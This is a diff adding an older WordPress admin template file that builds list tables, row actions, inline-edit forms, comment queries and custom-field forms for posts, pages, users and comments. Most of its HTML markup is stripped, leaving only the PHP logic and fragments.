    '; + $posts_columns['date'] = __('Date'); + $posts_columns = apply_filters('manage_posts_columns', $posts_columns); + + return $posts_columns; +} + +// define the columns to display, the syntax is 'internal name' => 'display name' +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function wp_manage_media_columns() { + $posts_columns = array(); + $posts_columns['cb'] = ''; + $posts_columns['icon'] = ''; + /* translators: column name */ + $posts_columns['media'] = _x('File', 'column name'); + $posts_columns['author'] = __('Author'); + //$posts_columns['tags'] = _x('Tags', 'column name'); + /* translators: column name */ + $posts_columns['parent'] = _x('Attached to', 'column name'); + $posts_columns['comments'] = '
    Comments
    '; + //$posts_columns['comments'] = __('Comments'); + /* translators: column name */ + $posts_columns['date'] = _x('Date', 'column name'); + $posts_columns = apply_filters('manage_media_columns', $posts_columns); + + return $posts_columns; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function wp_manage_pages_columns() { + $posts_columns = array(); + $posts_columns['cb'] = ''; + $posts_columns['title'] = __('Title'); + $posts_columns['author'] = __('Author'); + $post_status = !empty($_REQUEST['post_status']) ? $_REQUEST['post_status'] : 'all'; + if ( !in_array( $post_status, array('pending', 'draft', 'future') ) ) + $posts_columns['comments'] = '
    '; + $posts_columns['date'] = __('Date'); + $posts_columns = apply_filters('manage_pages_columns', $posts_columns); + + return $posts_columns; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $page + * @return unknown + */ +function get_column_headers($page) { + global $_wp_column_headers; + + if ( !isset($_wp_column_headers) ) + $_wp_column_headers = array(); + + // Store in static to avoid running filters on each call + if ( isset($_wp_column_headers[$page]) ) + return $_wp_column_headers[$page]; + + switch ($page) { + case 'edit': + $_wp_column_headers[$page] = wp_manage_posts_columns(); + break; + case 'edit-pages': + $_wp_column_headers[$page] = wp_manage_pages_columns(); + break; + case 'edit-comments': + $_wp_column_headers[$page] = array( + 'cb' => '', + 'author' => __('Author'), + /* translators: column name */ + 'comment' => _x('Comment', 'column name'), + //'date' => __('Submitted'), + 'response' => __('In Response To') + ); + + break; + case 'link-manager': + $_wp_column_headers[$page] = array( + 'cb' => '', + 'name' => __('Name'), + 'url' => __('URL'), + 'categories' => __('Categories'), + 'rel' => __('Relationship'), + 'visible' => __('Visible'), + 'rating' => __('Rating') + ); + + break; + case 'upload': + $_wp_column_headers[$page] = wp_manage_media_columns(); + break; + case 'categories': + $_wp_column_headers[$page] = array( + 'cb' => '', + 'name' => __('Name'), + 'description' => __('Description'), + 'slug' => __('Slug'), + 'posts' => __('Posts') + ); + + break; + case 'edit-link-categories': + $_wp_column_headers[$page] = array( + 'cb' => '', + 'name' => __('Name'), + 'description' => __('Description'), + 'slug' => __('Slug'), + 'links' => __('Links') + ); + + break; + case 'edit-tags': + $_wp_column_headers[$page] = array( + 'cb' => '', + 'name' => __('Name'), + 'description' => __('Description'), + 'slug' => __('Slug'), + 'posts' => __('Posts') + ); + + break; + case 'users': + $_wp_column_headers[$page] = array( + 'cb' => '', + 'username' => __('Username'), + 'name' => __('Name'), + 'email' => __('E-mail'), + 'role' => __('Role'), + 'posts' => __('Posts') + ); + break; + default : + $_wp_column_headers[$page] = array(); + } + + $_wp_column_headers[$page] = apply_filters('manage_' . $page . '_columns', $_wp_column_headers[$page]); + return $_wp_column_headers[$page]; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $type + * @param unknown_type $id + */ +function print_column_headers( $type, $id = true ) { + $type = str_replace('.php', '', $type); + $columns = get_column_headers( $type ); + $hidden = get_hidden_columns($type); + $styles = array(); +// $styles['tag']['posts'] = 'width: 90px;'; +// $styles['link-category']['links'] = 'width: 90px;'; +// $styles['category']['posts'] = 'width: 90px;'; +// $styles['link']['visible'] = 'text-align: center;'; + + foreach ( $columns as $column_key => $column_display_name ) { + $class = ' class="manage-column'; + + $class .= " column-$column_key"; + + if ( 'cb' == $column_key ) + $class .= ' check-column'; + elseif ( in_array($column_key, array('posts', 'comments', 'links')) ) + $class .= ' num'; + + $class .= '"'; + + $style = ''; + if ( in_array($column_key, $hidden) ) + $style = 'display:none;'; + + if ( isset($styles[$type]) && isset($styles[$type][$column_key]) ) + $style .= ' ' . $styles[$type][$column_key]; + $style = ' style="' . $style . '"'; +?> + > + true, 'date' => true, 'title' => true, 'categories' => true, 'tags' => true, 'comments' => true, 'author' => true ); + +?> + +
    + + + " style="display: none"> + +
    + +
    +

    + + + +
    +
    +
    + + + + + + + + + + + + + +
    + +
    +
    + +id, true, $type ); // TODO: ROLE SYSTEM + $authors_dropdown = ''; + if ( $authors && count( $authors ) > 1 ) : + $users_opt = array('include' => $authors, 'name' => 'post_author', 'class'=> 'authors', 'multi' => 1, 'echo' => 0); + if ( $bulk ) + $users_opt['show_option_none'] = __('- No Change -'); + $authors_dropdown = ''; + + endif; // authors +?> + + + +
    + + + + + + +
    + + + +
    + + + +
    + + + + +
      + +
    +
    + + + +
    + + + + + + + + + + + + + + + + + + + + + + + +
    + + + +
    + + + +
    + + + +
    + + + + +
    + + + + + + + + + + + + + + + + +
    + +
    + + $column_display_name ) { + if ( isset( $core_columns[$column_name] ) ) + continue; + do_action( $bulk ? 'bulk_edit_custom_box' : 'quick_edit_custom_box', $column_name, $type); + } +?> +

    + + + + + + + + +
    +

    +
    +post_type, $post->ID) ) + return; + + $title = esc_attr($post->post_title); + + echo ' +'; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $posts + */ +function post_rows( $posts = array() ) { + global $wp_query, $post, $mode; + + add_filter('the_title','esc_html'); + + // Create array of post IDs. + $post_ids = array(); + + if ( empty($posts) ) + $posts = &$wp_query->posts; + + foreach ( $posts as $a_post ) + $post_ids[] = $a_post->ID; + + $comment_pending_count = get_pending_comments_num($post_ids); + if ( empty($comment_pending_count) ) + $comment_pending_count = array(); + + foreach ( $posts as $post ) { + if ( empty($comment_pending_count[$post->ID]) ) + $comment_pending_count[$post->ID] = 0; + + _post_row($post, $comment_pending_count[$post->ID], $mode); + } +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $a_post + * @param unknown_type $pending_comments + * @param unknown_type $mode + */ +function _post_row($a_post, $pending_comments, $mode) { + global $post, $current_user; + static $rowclass; + + $global_post = $post; + $post = $a_post; + setup_postdata($post); + + $rowclass = 'alternate' == $rowclass ? '' : 'alternate'; + $post_owner = ( $current_user->ID == $post->post_author ? 'self' : 'other' ); + $edit_link = get_edit_post_link( $post->ID ); + $title = _draft_or_post_title(); +?> + post_status ); ?> iedit' valign="top"> +$column_display_name ) { + $class = "class=\"$column_name column-$column_name\""; + + $style = ''; + if ( in_array($column_name, $hidden) ) + $style = ' style="display:none;"'; + + $attributes = "$class$style"; + + switch ($column_name) { + + case 'cb': + ?> + ID ) ) { ?> + post_date && 'date' == $column_name ) { + $t_time = $h_time = __('Unpublished'); + $time_diff = 0; + } else { + $t_time = get_the_time(__('Y/m/d g:i:s A')); + $m_time = $post->post_date; + $time = get_post_time('G', true, $post); + + $time_diff = time() - $time; + + if ( $time_diff > 0 && $time_diff < 24*60*60 ) + $h_time = sprintf( __('%s ago'), human_time_diff( $time ) ); + else + $h_time = mysql2date(__('Y/m/d'), $m_time); + } + + echo ''; + if ( 'excerpt' == $mode ) + echo apply_filters('post_date_column_time', $t_time, $post, $column_name, $mode); + else + echo '' . apply_filters('post_date_column_time', $h_time, $post, $column_name, $mode) . ''; + echo '
    '; + if ( 'publish' == $post->post_status ) { + _e('Published'); + } elseif ( 'future' == $post->post_status ) { + if ( $time_diff > 0 ) + echo '' . __('Missed schedule') . ''; + else + _e('Scheduled'); + } else { + _e('Last Modified'); + } + echo ''; + break; + + case 'title': + $attributes = 'class="post-title column-title"' . $style; + ?> + >ID) && $post->post_status != 'trash' ) { ?> + ID) && 'trash' != $post->post_status ) { + $actions['edit'] = '' . __('Edit') . ''; + $actions['inline hide-if-no-js'] = '' . __('Quick Edit') . ''; + } + if ( current_user_can('delete_post', $post->ID) ) { + if ( 'trash' == $post->post_status ) + $actions['untrash'] = "ID) . "'>" . __('Restore') . ""; + elseif ( EMPTY_TRASH_DAYS ) + $actions['trash'] = "" . __('Trash') . ""; + if ( 'trash' == $post->post_status || !EMPTY_TRASH_DAYS ) + $actions['delete'] = "ID) . "'>" . __('Delete Permanently') . ""; + } + if ( in_array($post->post_status, array('pending', 'draft')) ) { + if ( current_user_can('edit_post', $post->ID) ) + $actions['view'] = '' . __('Preview') . ''; + } elseif ( 'trash' != $post->post_status ) { + $actions['view'] = '' . __('View') . ''; + } + $actions = apply_filters('post_row_actions', $actions, $post); + $action_count = count($actions); + $i = 0; + echo '
    '; + foreach ( $actions as $action => $link ) { + ++$i; + ( $i == $action_count ) ? $sep = '' : $sep = ' | '; + echo "$link$sep"; + } + echo '
    '; + + get_inline_data($post); + ?> + + + >slug'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'category', 'display')) . ""; + echo join( ', ', $out ); + } else { + _e('Uncategorized'); + } + ?> + + >ID); + if ( !empty( $tags ) ) { + $out = array(); + foreach ( $tags as $c ) + $out[] = " " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'post_tag', 'display')) . ""; + echo join( ', ', $out ); + } else { + _e('No Tags'); + } + ?> + + >
    + '; + comments_number("" . /* translators: comment count link */ _x('0', 'comment count') . '', "" . /* translators: comment count link */ _x('1', 'comment count') . '', "" . /* translators: comment count link: % will be substituted by comment count */ _x('%', 'comment count') . ''); + if ( $pending_comments ) + echo ''; + ?> +
    + + > + + + + ID) ) { echo "" . __('Edit') . ""; } ?> + + ID) ) { echo "ID) . "' class='delete'>" . __('Delete') . ""; } ?> + + >ID); ?> + + +post_parent > 0 ) { + //sent level 0 by accident, by default, or because we don't know the actual level + $find_main_page = (int)$page->post_parent; + while ( $find_main_page > 0 ) { + $parent = get_page($find_main_page); + + if ( is_null($parent) ) + break; + + $level++; + $find_main_page = (int)$parent->post_parent; + + if ( !isset($parent_name) ) + $parent_name = $parent->post_title; + } + } + + $page->post_title = esc_html( $page->post_title ); + $pad = str_repeat( '— ', $level ); + $id = (int) $page->ID; + $rowclass = 'alternate' == $rowclass ? '' : 'alternate'; + $posts_columns = get_column_headers('edit-pages'); + $hidden = get_hidden_columns('edit-pages'); + $title = _draft_or_post_title(); +?> + +$column_display_name) { + $class = "class=\"$column_name column-$column_name\""; + + $style = ''; + if ( in_array($column_name, $hidden) ) + $style = ' style="display:none;"'; + + $attributes = "$class$style"; + + switch ($column_name) { + + case 'cb': + ?> + + post_date && 'date' == $column_name ) { + $t_time = $h_time = __('Unpublished'); + $time_diff = 0; + } else { + $t_time = get_the_time(__('Y/m/d g:i:s A')); + $m_time = $page->post_date; + $time = get_post_time('G', true); + + $time_diff = time() - $time; + + if ( $time_diff > 0 && $time_diff < 24*60*60 ) + $h_time = sprintf( __('%s ago'), human_time_diff( $time ) ); + else + $h_time = mysql2date(__('Y/m/d'), $m_time); + } + echo ''; + echo '' . apply_filters('post_date_column_time', $h_time, $page, $column_name, '') . ''; + echo '
    '; + if ( 'publish' == $page->post_status ) { + _e('Published'); + } elseif ( 'future' == $page->post_status ) { + if ( $time_diff > 0 ) + echo '' . __('Missed schedule') . ''; + else + _e('Scheduled'); + } else { + _e('Last Modified'); + } + echo ''; + break; + case 'title': + $attributes = 'class="post-title page-title column-title"' . $style; + $edit_link = get_edit_post_link( $page->ID ); + ?> + >ID) && $post->post_status != 'trash' ) { ?> + ID) && $post->post_status != 'trash' ) { + $actions['edit'] = '' . __('Edit') . ''; + $actions['inline'] = '' . __('Quick Edit') . ''; + } + if ( current_user_can('delete_page', $page->ID) ) { + if ( $post->post_status == 'trash' ) + $actions['untrash'] = "ID) . "'>" . __('Restore') . ""; + elseif ( EMPTY_TRASH_DAYS ) + $actions['trash'] = "" . __('Trash') . ""; + if ( $post->post_status == 'trash' || !EMPTY_TRASH_DAYS ) + $actions['delete'] = "ID) . "'>" . __('Delete Permanently') . ""; + } + if ( in_array($post->post_status, array('pending', 'draft')) ) { + if ( current_user_can('edit_page', $page->ID) ) + $actions['view'] = '' . __('Preview') . ''; + } elseif ( $post->post_status != 'trash' ) { + $actions['view'] = '' . __('View') . ''; + } + $actions = apply_filters('page_row_actions', $actions, $page); + $action_count = count($actions); + + $i = 0; + echo '
    '; + foreach ( $actions as $action => $link ) { + ++$i; + ( $i == $action_count ) ? $sep = '' : $sep = ' | '; + echo "$link$sep"; + } + echo '
    '; + + get_inline_data($post); + echo ''; + break; + + case 'comments': + ?> + >
    + ID ); + $pending_phrase = sprintf( __('%s pending'), number_format( $left ) ); + if ( $left ) + echo ''; + comments_number("" . /* translators: comment count link */ _x('0', 'comment count') . '', "" . /* translators: comment count link */ _x('1', 'comment count') . '', "" . /* translators: comment count link: % will be substituted by comment count */ _x('%', 'comment count') . ''); + if ( $left ) + echo ''; + ?> +
    + + > + + > + + + + + 'menu_order') ); + + if ( ! $pages ) + return false; + } + + /* + * arrange pages into two parts: top level pages and children_pages + * children_pages is two dimensional array, eg. + * children_pages[10][] contains all sub-pages whose parent is 10. + * It only takes O(N) to arrange this and it takes O(1) for subsequent lookup operations + * If searching, ignore hierarchy and treat everything as top level + */ + if ( empty($_GET['s']) ) { + + $top_level_pages = array(); + $children_pages = array(); + + foreach ( $pages as $page ) { + + // catch and repair bad pages + if ( $page->post_parent == $page->ID ) { + $page->post_parent = 0; + $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_parent = '0' WHERE ID = %d", $page->ID) ); + clean_page_cache( $page->ID ); + } + + if ( 0 == $page->post_parent ) + $top_level_pages[] = $page; + else + $children_pages[ $page->post_parent ][] = $page; + } + + $pages = &$top_level_pages; + } + + $count = 0; + $start = ($pagenum - 1) * $per_page; + $end = $start + $per_page; + + foreach ( $pages as $page ) { + if ( $count >= $end ) + break; + + if ( $count >= $start ) + echo "\t" . display_page_row( $page, $level ); + + $count++; + + if ( isset($children_pages) ) + _page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page ); + } + + // if it is the last pagenum and there are orphaned pages, display them with paging as well + if ( isset($children_pages) && $count < $end ){ + foreach( $children_pages as $orphans ){ + foreach ( $orphans as $op ) { + if ( $count >= $end ) + break; + if ( $count >= $start ) + echo "\t" . display_page_row( $op, 0 ); + $count++; + } + } + } +} + +/* + * Given a top level page ID, display the nested hierarchy of sub-pages + * together with paging support + */ +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $children_pages + * @param unknown_type $count + * @param unknown_type $parent + * @param unknown_type $level + * @param unknown_type $pagenum + * @param unknown_type $per_page + */ +function _page_rows( &$children_pages, &$count, $parent, $level, $pagenum, $per_page ) { + + if ( ! isset( $children_pages[$parent] ) ) + return; + + $start = ($pagenum - 1) * $per_page; + $end = $start + $per_page; + + foreach ( $children_pages[$parent] as $page ) { + + if ( $count >= $end ) + break; + + // If the page starts in a subtree, print the parents. + if ( $count == $start && $page->post_parent > 0 ) { + $my_parents = array(); + $my_parent = $page->post_parent; + while ( $my_parent) { + $my_parent = get_post($my_parent); + $my_parents[] = $my_parent; + if ( !$my_parent->post_parent ) + break; + $my_parent = $my_parent->post_parent; + } + $num_parents = count($my_parents); + while( $my_parent = array_pop($my_parents) ) { + echo "\t" . display_page_row( $my_parent, $level - $num_parents ); + $num_parents--; + } + } + + if ( $count >= $start ) + echo "\t" . display_page_row( $page, $level ); + + $count++; + + _page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page ); + } + + unset( $children_pages[$parent] ); //required in order to keep track of orphans +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $user_object + * @param unknown_type $style + * @param unknown_type $role + * @return unknown + */ +function user_row( $user_object, $style = '', $role = '' ) { + global $wp_roles; + + $current_user = wp_get_current_user(); + + if ( !( is_object( $user_object) && is_a( $user_object, 'WP_User' ) ) ) + $user_object = new WP_User( (int) $user_object ); + $user_object = sanitize_user_object($user_object, 'display'); + $email = $user_object->user_email; + $url = $user_object->user_url; + $short_url = str_replace( 'http://', '', $url ); + $short_url = str_replace( 'www.', '', $short_url ); + if ('/' == substr( $short_url, -1 )) + $short_url = substr( $short_url, 0, -1 ); + if ( strlen( $short_url ) > 35 ) + $short_url = substr( $short_url, 0, 32 ).'...'; + $numposts = get_usernumposts( $user_object->ID ); + $checkbox = ''; + // Check if the user for this row is editable + if ( current_user_can( 'edit_user', $user_object->ID ) ) { + // Set up the user editing link + // TODO: make profile/user-edit determination a seperate function + if ($current_user->ID == $user_object->ID) { + $edit_link = 'profile.php'; + } else { + $edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( esc_url( stripslashes( $_SERVER['REQUEST_URI'] ) ) ), "user-edit.php?user_id=$user_object->ID" ) ); + } + $edit = "$user_object->user_login
    "; + + // Set up the hover actions for this user + $actions = array(); + $actions['edit'] = '' . __('Edit') . ''; + if ( $current_user->ID != $user_object->ID ) + $actions['delete'] = "" . __('Delete') . ""; + $actions = apply_filters('user_row_actions', $actions, $user_object); + $action_count = count($actions); + $i = 0; + $edit .= '
    '; + foreach ( $actions as $action => $link ) { + ++$i; + ( $i == $action_count ) ? $sep = '' : $sep = ' | '; + $edit .= "$link$sep"; + } + $edit .= '
    '; + + // Set up the checkbox (because the user is editable, otherwise its empty) + $checkbox = ""; + + } else { + $edit = '' . $user_object->user_login . ''; + } + $role_name = isset($wp_roles->role_names[$role]) ? translate_user_role($wp_roles->role_names[$role] ) : __('None'); + $r = ""; + $columns = get_column_headers('users'); + $hidden = get_hidden_columns('users'); + $avatar = get_avatar( $user_object->ID, 32 ); + foreach ( $columns as $column_name => $column_display_name ) { + $class = "class=\"$column_name column-$column_name\""; + + $style = ''; + if ( in_array($column_name, $hidden) ) + $style = ' style="display:none;"'; + + $attributes = "$class$style"; + + switch ($column_name) { + case 'cb': + $r .= "$checkbox"; + break; + case 'username': + $r .= "$avatar $edit"; + break; + case 'name': + $r .= "$user_object->first_name $user_object->last_name"; + break; + case 'email': + $r .= "$email"; + break; + case 'role': + $r .= "$role_name"; + break; + case 'posts': + $attributes = 'class="posts column-posts num"' . $style; + $r .= ""; + if ( $numposts > 0 ) { + $r .= ""; + $r .= $numposts; + $r .= ''; + } else { + $r .= 0; + } + $r .= ""; + break; + default: + $r .= ""; + $r .= apply_filters('manage_users_custom_column', '', $column_name, $user_object->ID); + $r .= ""; + } + } + $r .= ''; + + return $r; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param string $status Comment status (approved, spam, trash, etc) + * @param string $s Term to search for + * @param int $start Offset to start at for pagination + * @param int $num Maximum number of comments to return + * @param int $post Post ID or 0 to return all comments + * @param string $type Comment type (comment, trackback, pingback, etc) + * @return array [0] contains the comments and [1] contains the total number of comments that match (ignoring $start and $num) + */ +function _wp_get_comment_list( $status = '', $s = false, $start, $num, $post = 0, $type = '' ) { + global $wpdb; + + $start = abs( (int) $start ); + $num = (int) $num; + $post = (int) $post; + $count = wp_count_comments(); + $index = ''; + + if ( 'moderated' == $status ) { + $approved = "c.comment_approved = '0'"; + $total = $count->moderated; + } elseif ( 'approved' == $status ) { + $approved = "c.comment_approved = '1'"; + $total = $count->approved; + } elseif ( 'spam' == $status ) { + $approved = "c.comment_approved = 'spam'"; + $total = $count->spam; + } elseif ( 'trash' == $status ) { + $approved = "c.comment_approved = 'trash'"; + $total = $count->trash; + } else { + $approved = "( c.comment_approved = '0' OR c.comment_approved = '1' )"; + $total = $count->moderated + $count->approved; + $index = 'USE INDEX (c.comment_date_gmt)'; + } + + if ( $post ) { + $total = ''; + $post = " AND c.comment_post_ID = '$post'"; + } else { + $post = ''; + } + + $orderby = "ORDER BY c.comment_date_gmt DESC LIMIT $start, $num"; + + if ( 'comment' == $type ) + $typesql = "AND c.comment_type = ''"; + elseif ( 'pings' == $type ) + $typesql = "AND ( c.comment_type = 'pingback' OR c.comment_type = 'trackback' )"; + elseif ( 'all' == $type ) + $typesql = ''; + elseif ( !empty($type) ) + $typesql = $wpdb->prepare("AND c.comment_type = %s", $type); + else + $typesql = ''; + + if ( !empty($type) ) + $total = ''; + + $query = "FROM $wpdb->comments c LEFT JOIN $wpdb->posts p ON c.comment_post_ID = p.ID WHERE p.post_status != 'trash' "; + if ( $s ) { + $total = ''; + $s = $wpdb->escape($s); + $query .= "AND + (c.comment_author LIKE '%$s%' OR + c.comment_author_email LIKE '%$s%' OR + c.comment_author_url LIKE ('%$s%') OR + c.comment_author_IP LIKE ('%$s%') OR + c.comment_content LIKE ('%$s%') ) AND + $approved + $typesql"; + } else { + $query .= "AND $approved $post $typesql"; + } + + $comments = $wpdb->get_results("SELECT * $query $orderby"); + if ( '' === $total ) + $total = $wpdb->get_var("SELECT COUNT(c.comment_ID) $query"); + + update_comment_cache($comments); + + return array($comments, $total); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $comment_id + * @param unknown_type $mode + * @param unknown_type $comment_status + * @param unknown_type $checkbox + */ +function _wp_comment_row( $comment_id, $mode, $comment_status, $checkbox = true, $from_ajax = false ) { + global $comment, $post, $_comment_pending_count; + $comment = get_comment( $comment_id ); + $post = get_post($comment->comment_post_ID); + $the_comment_status = wp_get_comment_status($comment->comment_ID); + $user_can = current_user_can('edit_post', $post->ID); + + $author_url = get_comment_author_url(); + if ( 'http://' == $author_url ) + $author_url = ''; + $author_url_display = preg_replace('|http://(www\.)?|i', '', $author_url); + if ( strlen($author_url_display) > 50 ) + $author_url_display = substr($author_url_display, 0, 49) . '...'; + + $ptime = date('G', strtotime( $comment->comment_date ) ); + if ( ( abs(time() - $ptime) ) < 86400 ) + $ptime = sprintf( __('%s ago'), human_time_diff( $ptime ) ); + else + $ptime = mysql2date(__('Y/m/d \a\t g:i A'), $comment->comment_date ); + + if ( $user_can ) { + $del_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) ); + $approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) ); + + $comment_url = esc_url(get_comment_link($comment->comment_ID)); + $approve_url = esc_url( "comment.php?action=approvecomment&p=$post->ID&c=$comment->comment_ID&$approve_nonce" ); + $unapprove_url = esc_url( "comment.php?action=unapprovecomment&p=$post->ID&c=$comment->comment_ID&$approve_nonce" ); + $spam_url = esc_url( "comment.php?action=spamcomment&p=$post->ID&c=$comment->comment_ID&$del_nonce" ); + $unspam_url = esc_url( "comment.php?action=unspamcomment&p=$post->ID&c=$comment->comment_ID&$del_nonce" ); + $trash_url = esc_url( "comment.php?action=trashcomment&p=$post->ID&c=$comment->comment_ID&$del_nonce" ); + $untrash_url = esc_url( "comment.php?action=untrashcomment&p=$post->ID&c=$comment->comment_ID&$del_nonce" ); + $delete_url = esc_url( "comment.php?action=deletecomment&p=$post->ID&c=$comment->comment_ID&$del_nonce" ); + } + + echo ""; + $columns = get_column_headers('edit-comments'); + $hidden = get_hidden_columns('edit-comments'); + foreach ( $columns as $column_name => $column_display_name ) { + $class = "class=\"$column_name column-$column_name\""; + + $style = ''; + if ( in_array($column_name, $hidden) ) + $style = ' style="display:none;"'; + + $attributes = "$class$style"; + + switch ($column_name) { + case 'cb': + if ( !$checkbox ) break; + echo ''; + if ( $user_can ) echo ""; + echo ''; + break; + case 'comment': + echo ""; + echo '
    '; + printf(__('Submitted on %2$s at %3$s'), $comment_url, get_comment_date(__('Y/m/d')), get_comment_date(__('g:ia'))); + echo '
    '; + comment_text(); + if ( $user_can ) { ?> + + '', 'unapprove' => '', + 'reply' => '', + 'quickedit' => '', + 'edit' => '', + 'spam' => '', 'unspam' => '', + 'trash' => '', 'untrash' => '', 'delete' => '' + ); + + if ( $comment_status && 'all' != $comment_status ) { // not looking at all comments + if ( 'approved' == $the_comment_status ) + $actions['unapprove'] = "" . __( 'Unapprove' ) . ''; + else if ( 'unapproved' == $the_comment_status ) + $actions['approve'] = "" . __( 'Approve' ) . ''; + } else { + $actions['approve'] = "" . __( 'Approve' ) . ''; + $actions['unapprove'] = "" . __( 'Unapprove' ) . ''; + } + + if ( 'spam' != $the_comment_status && 'trash' != $the_comment_status ) { + $actions['spam'] = "" . /* translators: mark as spam link */ _x( 'Spam', 'verb' ) . ''; + } elseif ( 'spam' == $the_comment_status ) { + $actions['unspam'] = "" . __( 'Not Spam' ) . ''; + } elseif ( 'trash' == $the_comment_status ) { + $actions['untrash'] = "" . __( 'Restore' ) . ''; + } + + if ( 'spam' == $the_comment_status || 'trash' == $the_comment_status || !EMPTY_TRASH_DAYS ) { + $actions['delete'] = "" . __('Delete Permanently') . ''; + } else { + $actions['trash'] = "" . _x('Trash', 'verb') . ''; + } + + if ( 'trash' != $the_comment_status ) { + $actions['edit'] = "". __('Edit') . ''; + $actions['quickedit'] = '' . __('Quick Edit') . ''; + if ( 'spam' != $the_comment_status ) + $actions['reply'] = '' . __('Reply') . ''; + } + + $actions = apply_filters( 'comment_row_actions', array_filter($actions), $comment ); + + $i = 0; + echo '
    '; + foreach ( $actions as $action => $link ) { + ++$i; + ( ( ('approve' == $action || 'unapprove' == $action) && 2 === $i ) || 1 === $i ) ? $sep = '' : $sep = ' | '; + + // Reply and quickedit need a hide-if-no-js span when not added with ajax + if ( ('reply' == $action || 'quickedit' == $action) && ! $from_ajax ) + $action .= ' hide-if-no-js'; + elseif ( ($action == 'untrash' && $the_comment_status == 'trash') || ($action == 'unspam' && $the_comment_status == 'spam') ) { + if ('1' == get_comment_meta($comment_id, '_wp_trash_meta_status', true)) + $action .= ' approve'; + else + $action .= ' unapprove'; + } + + echo "$sep$link"; + } + echo '
    '; + } + + echo ''; + break; + case 'author': + echo ""; comment_author(); echo '
    '; + if ( !empty($author_url) ) + echo "$author_url_display
    "; + if ( $user_can ) { + if ( !empty($comment->comment_author_email) ) { + comment_author_email_link(); + echo '
    '; + } + echo ''; + comment_author_IP(); + echo ''; + } //current_user_can + echo ''; + break; + case 'date': + echo "" . get_comment_date(__('Y/m/d \a\t g:ia')) . ''; + break; + case 'response': + if ( 'single' !== $mode ) { + if ( isset( $_comment_pending_count[$post->ID] ) ) { + $pending_comments = absint( $_comment_pending_count[$post->ID] ); + } else { + $_comment_pending_count_temp = (array) get_pending_comments_num( array( $post->ID ) ); + $pending_comments = $_comment_pending_count[$post->ID] = $_comment_pending_count_temp[$post->ID]; + } + if ( $user_can ) { + $post_link = ""; + $post_link .= get_the_title($post->ID) . ''; + } else { + $post_link = get_the_title($post->ID); + } + echo "\n"; + echo ''; + if ( 'attachment' == $post->post_type && ( $thumb = wp_get_attachment_image( $post->ID, array(80, 60), true ) ) ) + echo $thumb; + echo ''; + } + break; + default: + echo "\n"; + do_action( 'manage_comments_custom_column', $column_name, $comment->comment_ID ); + echo "\n"; + break; + } + } + echo "\n"; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $position + * @param unknown_type $checkbox + * @param unknown_type $mode + */ +function wp_comment_reply($position = '1', $checkbox = false, $mode = 'single', $table_row = true) { + global $current_user; + + // allow plugin to replace the popup content + $content = apply_filters( 'wp_comment_reply', '', array('position' => $position, 'checkbox' => $checkbox, 'mode' => $mode) ); + + if ( ! empty($content) ) { + echo $content; + return; + } + + $columns = get_column_headers('edit-comments'); + $hidden = array_intersect( array_keys( $columns ), array_filter( get_hidden_columns('edit-comments') ) ); + $col_count = count($columns) - count($hidden); + +?> +
    + +
    + + + +
    + + + + 0) ); + + if ( $categories ) { + foreach ( $categories as $category ) { + if ( $currentcat != $category->term_id && $parent == $category->parent) { + $pad = str_repeat( '– ', $level ); + $category->name = esc_html( $category->name ); + echo "\n\t"; + wp_dropdown_cats( $currentcat, $currentparent, $category->term_id, $level +1, $categories ); + } + } + } else { + return false; + } +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $meta + */ +function list_meta( $meta ) { + // Exit if no meta + if ( ! $meta ) { + echo ' + + + + + + + + + + +'; //TBODY needed for list-manipulation JS + return; + } + $count = 0; +?> + + + + + + + + + + +
    + + $entry['meta_id'] = (int) $entry['meta_id']; + + $delete_nonce = wp_create_nonce( 'delete-meta_' . $entry['meta_id'] ); + + $r .= "\n\t"; + $r .= "\n\t\t"; + + $r .= "\n\t\t
    "; + $r .= "\n\t\t
    "; + $r .= wp_nonce_field( 'change-meta', '_ajax_nonce', false, false ); + $r .= ""; + + $r .= "\n\t\t\n\t"; + return $r; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + */ +function meta_form() { + global $wpdb; + $limit = (int) apply_filters( 'postmeta_form_limit', 30 ); + $keys = $wpdb->get_col( " + SELECT meta_key + FROM $wpdb->postmeta + GROUP BY meta_key + HAVING meta_key NOT LIKE '\_%' + ORDER BY LOWER(meta_key) + LIMIT $limit" ); + if ( $keys ) + natcasesort($keys); +?> +

    + + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    + + +
    +post_status, array('draft', 'pending') ) && (!$post->post_date_gmt || '0000-00-00 00:00:00' == $post->post_date_gmt ) ) ? false : true; + + $tab_index_attribute = ''; + if ( (int) $tab_index > 0 ) + $tab_index_attribute = " tabindex=\"$tab_index\""; + + // echo '
